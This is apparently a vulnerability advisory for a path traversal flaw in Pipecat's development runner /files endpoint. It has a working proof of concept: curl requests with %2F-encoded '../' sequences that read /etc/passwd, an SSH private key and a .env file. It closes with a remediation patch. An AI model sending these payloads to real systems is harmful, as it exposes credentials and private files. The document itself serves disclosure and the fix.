Vulnerability PYSEC-2026-2877

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

Proof of Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output: image

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.